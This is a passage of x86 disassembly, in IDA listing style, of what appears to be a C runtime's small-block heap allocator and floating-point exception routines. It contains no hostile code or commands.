loc_416A78: ; CODE XREF: sub_4169A4+CFj mov ecx, [ebp+var_4] and ecx, 1 mov [ebp+var_14], ecx jnz loc_416B27 sub edx, [ebp+var_4] mov ecx, [ebp+var_4] sar ecx, 4 push 3Fh mov [ebp+var_8], edx dec ecx pop edx cmp ecx, edx mov [ebp+arg_4], ecx jbe short loc_416AA3 mov [ebp+arg_4], edx mov ecx, edx loc_416AA3: ; CODE XREF: sub_4169A4+F8j add ebx, [ebp+var_4] mov edi, ebx mov [ebp+var_C], ebx sar edi, 4 dec edi cmp edi, edx jbe short loc_416AB5 mov edi, edx loc_416AB5: ; CODE XREF: sub_4169A4+10Dj cmp ecx, edi jz short loc_416B24 mov ecx, [ebp+var_8] mov edx, [ecx+4] cmp edx, [ecx+8] jnz short loc_416B0C mov ecx, [ebp+arg_4] cmp ecx, 20h jnb short loc_416AE8 mov edx, 80000000h shr edx, cl lea ecx, [ecx+eax+4] not edx and [eax+esi*4+44h], edx dec byte ptr [ecx] jnz short loc_416B0C mov ecx, [ebp+arg_0] and [ecx], edx jmp short loc_416B0C ; --------------------------------------------------------------------------- loc_416AE8: ; CODE XREF: sub_4169A4+126j add ecx, 0FFFFFFE0h mov edx, 80000000h shr edx, cl mov ecx, [ebp+arg_4] lea ecx, [ecx+eax+4] not edx and [eax+esi*4+0C4h], edx dec byte ptr [ecx] jnz short loc_416B0C mov ecx, [ebp+arg_0] and [ecx+4], edx loc_416B0C: ; CODE XREF: sub_4169A4+11Ej ; sub_4169A4+13Bj ... mov ecx, [ebp+var_8] mov edx, [ecx+8] mov ecx, [ecx+4] mov [edx+4], ecx mov ecx, [ebp+var_8] mov edx, [ecx+4] mov ecx, [ecx+8] mov [edx+8], ecx loc_416B24: ; CODE XREF: sub_4169A4+113j mov edx, [ebp+var_8] loc_416B27: ; CODE XREF: sub_4169A4+DDj cmp [ebp+var_14], 0 jnz short loc_416B36 cmp [ebp+arg_4], edi jz loc_416BBF loc_416B36: ; CODE XREF: sub_4169A4+187j mov ecx, [ebp+var_10] lea ecx, [ecx+edi*8] mov ecx, [ecx+4] mov [edx+4], ecx mov ecx, [ebp+var_10] lea ecx, [ecx+edi*8] mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_416BBF mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edi+eax+4], cl jnb short loc_416B93 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_416B82 mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_416B82: ; CODE XREF: sub_4169A4+1CEj mov ebx, 80000000h mov ecx, edi shr ebx, cl lea eax, [eax+esi*4+44h] or [eax], ebx jmp short loc_416BBC ; --------------------------------------------------------------------------- loc_416B93: ; CODE XREF: sub_4169A4+1C8j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_416BA9 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_416BA9: ; CODE XREF: sub_4169A4+1F3j lea ecx, [edi-20h] mov edi, 80000000h shr edi, cl lea eax, [eax+esi*4+0C4h] or [eax], edi loc_416BBC: ; CODE XREF: sub_4169A4+1EDj mov ebx, [ebp+var_C] loc_416BBF: ; CODE XREF: sub_4169A4+18Cj ; sub_4169A4+1B6j mov eax, [ebp+var_10] mov [edx], ebx mov [ebx+edx-4], ebx dec dword ptr [eax] jnz loc_416CCA mov eax, dword_743874 test eax, eax jz loc_416CBC mov ecx, dword_74386C mov edi, ds:off_41F170 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call edi ; sub_7451EF mov ecx, dword_74386C mov eax, dword_743874 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_743874 mov ecx, dword_74386C mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_743874 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_743874 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_416C4A and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_743874 loc_416C4A: ; CODE XREF: sub_4169A4+29Bj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_416CBC push ebx push 0 push dword ptr [eax+0Ch] call edi ; sub_7451EF mov eax, dword_743874 push dword ptr [eax+10h] push 0 push dword_743880 call ds:dword_41F148 ; RtlFreeHeap mov eax, dword_743878 mov edx, dword_74387C lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_743874 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_4145D0 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_743878 cmp eax, dword_743874 jbe short loc_416CAE sub eax, 14h loc_416CAE: ; CODE XREF: sub_4169A4+305j mov ecx, dword_74387C mov dword_743870, ecx jmp short loc_416CBF ; --------------------------------------------------------------------------- loc_416CBC: ; CODE XREF: sub_4169A4+233j ; sub_4169A4+2AAj mov eax, [ebp+arg_0] loc_416CBF: ; CODE XREF: sub_4169A4+316j mov dword_743874, eax mov dword_74386C, esi loc_416CCA: ; CODE XREF: sub_4169A4+226j pop edi pop esi pop ebx leave retn sub_4169A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416CCF proc near ; CODE XREF: sub_413F49+Ep ; sub_4157BF+69p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_743878 mov edx, dword_74387C push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_416D0F or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_416D1F ; --------------------------------------------------------------------------- loc_416D0F: ; CODE XREF: sub_416CCF+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_416D1F: ; CODE XREF: sub_416CCF+3Ej mov eax, dword_743870 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_416D46 loc_416D2D: ; CODE XREF: sub_416CCF+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_416D46 add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_416D2D loc_416D46: ; CODE XREF: sub_416CCF+5Cj ; sub_416CCF+6Aj cmp ebx, [ebp+var_4] jnz short loc_416DC4 mov ebx, edx loc_416D4D: ; CODE XREF: sub_416CCF+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_416D69 mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_416D67 add ebx, 14h jmp short loc_416D4D ; --------------------------------------------------------------------------- loc_416D67: ; CODE XREF: sub_416CCF+91j cmp ebx, eax loc_416D69: ; CODE XREF: sub_416CCF+83j jnz short loc_416DC4 loc_416D6B: ; CODE XREF: sub_416CCF+ADj cmp ebx, [ebp+var_4] jnb short loc_416D81 cmp dword ptr [ebx+8], 0 jnz short loc_416D7E add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_416D6B ; --------------------------------------------------------------------------- loc_416D7E: ; CODE XREF: sub_416CCF+A5j cmp ebx, [ebp+var_4] loc_416D81: ; CODE XREF: sub_416CCF+9Fj jnz short loc_416DA9 mov ebx, edx loc_416D85: ; CODE XREF: sub_416CCF+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_416D99 cmp dword ptr [ebx+8], 0 jnz short loc_416D97 add ebx, 14h jmp short loc_416D85 ; --------------------------------------------------------------------------- loc_416D97: ; CODE XREF: sub_416CCF+C1j cmp ebx, eax loc_416D99: ; CODE XREF: sub_416CCF+BBj jnz short loc_416DA9 call sub_416FD8 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_416DBD loc_416DA9: ; CODE XREF: sub_416CCF:loc_416D81j ; sub_416CCF:loc_416D99j push ebx call sub_417089 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_416DC4 loc_416DBD: ; CODE XREF: sub_416CCF+D8j xor eax, eax jmp loc_416FD3 ; --------------------------------------------------------------------------- loc_416DC4: ; CODE XREF: sub_416CCF+7Aj ; sub_416CCF:loc_416D69j ... mov dword_743870, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_416DEB mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_416E22 loc_416DEB: ; CODE XREF: sub_416CCF+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_416E1F loc_416E08: ; CODE XREF: sub_416CCF+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_416E08 loc_416E1F: ; CODE XREF: sub_416CCF+137j mov edx, [ebp+var_4] loc_416E22: ; CODE XREF: sub_416CCF+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_416E4B mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_416E4B: ; CODE XREF: sub_416CCF+16Dj ; sub_416CCF+183j test ecx, ecx jl short loc_416E54 shl ecx, 1 inc edi jmp short loc_416E4B ; --------------------------------------------------------------------------- loc_416E54: ; CODE XREF: sub_416CCF+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_416E71 push 3Fh pop esi loc_416E71: ; CODE XREF: sub_416CCF+19Dj cmp esi, edi jz loc_416F86 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_416EE2 cmp edi, 20h jge short loc_416EB1 mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_416EDF mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_416EE2 ; --------------------------------------------------------------------------- loc_416EB1: ; CODE XREF: sub_416CCF+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_416EDF mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_416EE2 ; --------------------------------------------------------------------------- loc_416EDF: ; CODE XREF: sub_416CCF+1D6j ; sub_416CCF+203j mov ebx, [ebp+arg_0] loc_416EE2: ; CODE XREF: sub_416CCF+1B0j ; sub_416CCF+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_416F92 mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_416F83 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_416F54 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_416F42 mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_416F42: ; CODE XREF: sub_416CCF+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_416F83 ; --------------------------------------------------------------------------- loc_416F54: ; CODE XREF: sub_416CCF+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_416F6D lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_416F6D: ; CODE XREF: sub_416CCF+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_416F83: ; CODE XREF: sub_416CCF+24Ej ; sub_416CCF+283j mov ecx, [ebp+var_8] loc_416F86: ; CODE XREF: sub_416CCF+1A4j test ecx, ecx jz short loc_416F95 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_416F95 ; --------------------------------------------------------------------------- loc_416F92: ; CODE XREF: sub_416CCF+229j mov ecx, [ebp+var_8] loc_416F95: ; CODE XREF: sub_416CCF+2B9j ; sub_416CCF+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_416FCB cmp ebx, dword_743874 jnz short loc_416FCB mov ecx, [ebp+var_4] cmp ecx, dword_74386C jnz short loc_416FCB and dword_743874, 0 loc_416FCB: ; CODE XREF: sub_416CCF+2E0j ; sub_416CCF+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_416FD3: ; CODE XREF: sub_416CCF+F0j pop edi pop esi pop ebx leave retn sub_416CCF endp ; =============== S U B R O U T I N E ======================================= sub_416FD8 proc near ; CODE XREF: sub_416CCF+CCp mov eax, dword_743878 mov ecx, dword_743868 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_41701B lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_74387C push edi push dword_743880 call ds:off_41F158 cmp eax, edi jz short loc_41706B add dword_743868, 10h mov dword_74387C, eax mov eax, dword_743878 loc_41701B: ; CODE XREF: sub_416FD8+11j mov ecx, dword_74387C push 41C4h push 8 lea eax, [eax+eax*4] push dword_743880 lea esi, [ecx+eax*4] call ds:dword_41F144 ; RtlAllocateHeap cmp eax, edi mov [esi+10h], eax jz short loc_41706B push 4 push 2000h push 100000h push edi call ds:dword_41F174 ; VirtualAlloc cmp eax, edi mov [esi+0Ch], eax jnz short loc_41706F push dword ptr [esi+10h] push edi push dword_743880 call ds:dword_41F148 ; RtlFreeHeap loc_41706B: ; CODE XREF: sub_416FD8+30j ; sub_416FD8+67j xor eax, eax jmp short loc_417086 ; --------------------------------------------------------------------------- loc_41706F: ; CODE XREF: sub_416FD8+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_743878 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_417086: ; CODE XREF: sub_416FD8+95j pop edi pop esi retn sub_416FD8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417089 proc near ; CODE XREF: sub_416CCF+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_41709B: ; CODE XREF: sub_417089+19j test eax, eax jl short loc_4170A4 shl eax, 1 inc ebx jmp short loc_41709B ; --------------------------------------------------------------------------- loc_4170A4: ; CODE XREF: sub_417089+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_4170B9: ; CODE XREF: sub_417089+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_4170B9 mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi call ds:dword_41F174 ; VirtualAlloc test eax, eax jnz short loc_4170EC or eax, 0FFFFFFFFh jmp loc_41717F ; --------------------------------------------------------------------------- loc_4170EC: ; CODE XREF: sub_417089+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_417132 lea eax, [edi+10h] loc_4170F9: ; CODE XREF: sub_417089+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_4170F9 loc_417132: ; CODE XREF: sub_417089+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_41716F or [eax+4], edi loc_41716F: ; CODE XREF: sub_417089+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_41717F: ; CODE XREF: sub_417089+5Ej pop edi pop esi pop ebx leave retn sub_417089 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417184 proc near ; CODE XREF: sub_4157BF+58p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_417332 test bl, 1 jnz loc_41732B add ebx, ecx cmp esi, ebx jg loc_41732B mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_4171FB push 3Fh pop ecx mov [ebp+var_8], ecx loc_4171FB: ; CODE XREF: sub_417184+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_41724B cmp ecx, 20h jnb short loc_417227 mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_41724B mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41724B ; --------------------------------------------------------------------------- loc_417227: ; CODE XREF: sub_417184+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41724B mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41724B: ; CODE XREF: sub_417184+7Dj ; sub_417184+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_417319 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_417285 push 3Fh pop edi loc_417285: ; CODE XREF: sub_417184+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_417307 mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_4172DE cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_4172D1 mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_4172D1: ; CODE XREF: sub_417184+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_417303 ; --------------------------------------------------------------------------- loc_4172DE: ; CODE XREF: sub_417184+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_4172F4 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_4172F4: ; CODE XREF: sub_417184+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_417303: ; CODE XREF: sub_417184+158j shr edx, cl or [eax], edx loc_417307: ; CODE XREF: sub_417184+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_41731C ; --------------------------------------------------------------------------- loc_417319: ; CODE XREF: sub_417184+E5j mov edx, [ebp+arg_4] loc_41731C: ; CODE XREF: sub_417184+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_417472 ; --------------------------------------------------------------------------- loc_41732B: ; CODE XREF: sub_417184+52j ; sub_417184+5Cj xor eax, eax jmp loc_417475 ; --------------------------------------------------------------------------- loc_417332: ; CODE XREF: sub_417184+49j jge loc_417472 mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_41735D push 3Fh pop esi loc_41735D: ; CODE XREF: sub_417184+1D4j test byte ptr [ebp+var_4], 1 jnz loc_4173EC mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_417376 push 3Fh pop esi loc_417376: ; CODE XREF: sub_417184+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_4173C5 cmp esi, 20h jnb short loc_4173A1 mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_4173C2 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_4173C2 ; --------------------------------------------------------------------------- loc_4173A1: ; CODE XREF: sub_417184+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_4173C2 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_4173C2: ; CODE XREF: sub_417184+214j ; sub_417184+21Bj ... mov ebx, [ebp+arg_4] loc_4173C5: ; CODE XREF: sub_417184+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_4173EC push 3Fh pop esi loc_4173EC: ; CODE XREF: sub_417184+1DDj ; sub_417184+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_417469 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_417440 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_417433 mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_417433: ; CODE XREF: sub_417184+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_417465 ; --------------------------------------------------------------------------- loc_417440: ; CODE XREF: sub_417184+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_417456 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_417456: ; CODE XREF: sub_417184+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_417465: ; CODE XREF: sub_417184+2BAj shr edx, cl or [eax], edx loc_417469: ; CODE XREF: sub_417184+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_417472: ; CODE XREF: sub_417184+1A2j ; sub_417184:loc_417332j push 1 pop eax loc_417475: ; CODE XREF: sub_417184+1A9j pop edi pop esi pop ebx leave retn sub_417184 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_41747A(int,int,double,int) sub_41747A proc near ; CODE XREF: sub_413FAE+51p ; sub_4140F7+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_438128, 0 jnz short loc_4174AF push [ebp+arg_C] ; int fld qword ptr [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld qword ptr [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_417A2F add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_4174AF: ; CODE XREF: sub_41747A+Aj push 0FFFFh mov dword_74222C, 21h push [ebp+arg_C] call sub_417CA2 fld qword ptr [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_41747A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4174CD(int,int,double,double,int) sub_4174CD proc near ; CODE XREF: sub_413FAE:loc_414071p ; sub_4140F7:loc_4141BAp var_74 = qword ptr -74h var_6C = qword ptr -6Ch var_64 = qword ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_417818 add esp, 0Ch test eax, eax jnz short loc_41750B lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_417565 add esp, 18h loc_41750B: ; CODE XREF: sub_4174CD+1Aj push [ebp+arg_0] call sub_417B02 cmp dword_438128, 0 pop ecx jnz short loc_417549 test eax, eax jz short loc_417549 push [ebp+arg_18] ; int fld [ebp+arg_10] push ecx push ecx ; double fstp [esp+64h+var_64] push ecx ; int push ecx ; int fldz fstp [esp+6Ch+var_6C] fld [ebp+arg_8] push ecx ; int push ecx ; int fstp [esp+74h+var_74] push [ebp+arg_4] ; int push eax ; int call sub_417A2F add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_417549: ; CODE XREF: sub_4174CD+4Ej ; sub_4174CD+52j push eax call sub_417AB7 mov [esp+5Ch+var_5C], 0FFFFh push [ebp+arg_18] call sub_417CA2 fld [ebp+arg_10] pop ecx pop ecx leave retn sub_4174CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417565 proc near ; CODE XREF: sub_4174CD+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_417597 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_417597: ; CODE XREF: sub_417565+23j test cl, 2 jz short loc_4175AA mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_4175AA: ; CODE XREF: sub_417565+35j test cl, bl jz short loc_4175BC mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_4175BC: ; CODE XREF: sub_417565+47j test cl, 4 jz short loc_4175CF mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_4175CF: 